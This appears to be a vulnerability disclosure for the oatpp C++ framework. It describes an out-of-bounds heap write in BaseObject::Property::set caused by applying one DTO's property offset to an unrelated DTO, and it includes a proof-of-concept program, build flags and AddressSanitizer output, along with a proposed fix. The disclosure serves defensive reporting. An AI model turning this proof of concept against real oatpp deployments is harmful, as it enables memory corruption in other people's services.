#1104·oatpp

OOB write in 'BaseObject::Property::set'

Author: 2rr0r4o3Created Aug 24, 2026Updated Aug 24, 2026

Summary

Property stores a field's offset, name and type, but not the class it was declared on. Property::set takes a bare BaseObject* and applies the stored offset unconditionally, so a property belonging to one DTO can be applied to an object of an unrelated DTO. Both are reachable through public API: Object<T>::getPropertiesMap() hands out the properties and any DTO instance converts to BaseObject*. Applying a wide DTO's last property to a small DTO writes past the object.

Details

src/oatpp/data/type/Object.cpp:94-96:

94     void BaseObject::Property::set(BaseObject* object, const Void& value) const {
95       object->set(offset, value);
96     }

get (:98-100) and getAsRef (:102-104) are the same. The parameter is BaseObject*(the common base of every DTO) and offset came from whichever class declared this property. Nothing relates the two. Property's members are offset, name, unqualifiedName and type (Object.hpp:119-151); there is no owner field.

Because Tiny and Wide both derive from oatpp::DTO, passing a Tiny* where BaseObject* is expected is an implicit, well-formed upcast. Applying Wide's offset to it is, in effect, an unchecked BaseObject* -> Wide* downcast performed by pointer arithmetic instead of a cast expression.

On the inheritance chain, pushFrontAll (Object.cpp:66-70) copies the parent's Property* pointers rather than making copies, so parent and child share property singletons: Object<P>::getPropertiesMap().at("p0") and Object<C>::getPropertiesMap().at("p0") are the same address. A derived DTO's map therefore holds base-relative offsets, which is only sound under the offset 0 invariant that BaseObject::set shows is unenforced.

The in tree callers are correct. TreeToObjectMapper.cpp:415-423 and ObjectToTreeMapper.cpp:255-260 both draw the property map and the object from the same Type*. it is maintained by convention and not expressed anywhere in the API.

Fix: store the owning Type* in Property and verify it against the object's type on entry to set/get/getAsRef.

PoC

poc_Property_set.cpp:

cpp
class Tiny : public oatpp::DTO { DTO_INIT(Tiny, DTO) DTO_FIELD(oatpp::String, t0); };
class Wide : public oatpp::DTO { DTO_INIT(Wide, DTO)
  DTO_FIELD(oatpp::String,w0); DTO_FIELD(oatpp::String,w1); DTO_FIELD(oatpp::String,w2);
  DTO_FIELD(oatpp::String,w3); DTO_FIELD(oatpp::String,w4); DTO_FIELD(oatpp::String,w5); };

auto tiny = Tiny::createShared();
auto w5   = oatpp::Object<Wide>::getPropertiesMap().at("w5");

w5->set(tiny.get(), oatpp::Void(oatpp::String("x").getPtr(), oatpp::String::Class::getType()));

Build and run:

bash
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
  -fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
  poc_Property_set.cpp liboatpp.a -lpthread -o poc_Property_set
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_Property_set

ASAN output :

sizeof(Tiny)=40 sizeof(Wide)=160
applying Wide::w5 to a Tiny object ...

==3009051==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bd0f2de0178 ...
WRITE of size 8 at 0x7bd0f2de0178 thread T0
    [...]
    #2 in oatpp::data::type::Void::operator=(Void const&)               src/oatpp/data/type/Type.hpp
    #3 in oatpp::data::type::BaseObject::set(long, Void const&)         src/oatpp/data/type/Object.cpp
    #4 in oatpp::data::type::BaseObject::Property::set(BaseObject*, …)  src/oatpp/data/type/Object.cpp
    #5 in main                                                          poc_Property_set.cpp:20:9
0x7bd0f2de0178 is located 0 bytes after 56-byte region

Impact

OOB write occurs due to sibling type confusion involving shared_ptr and Type*. The caller effectively determines the offset by selecting which property to apply.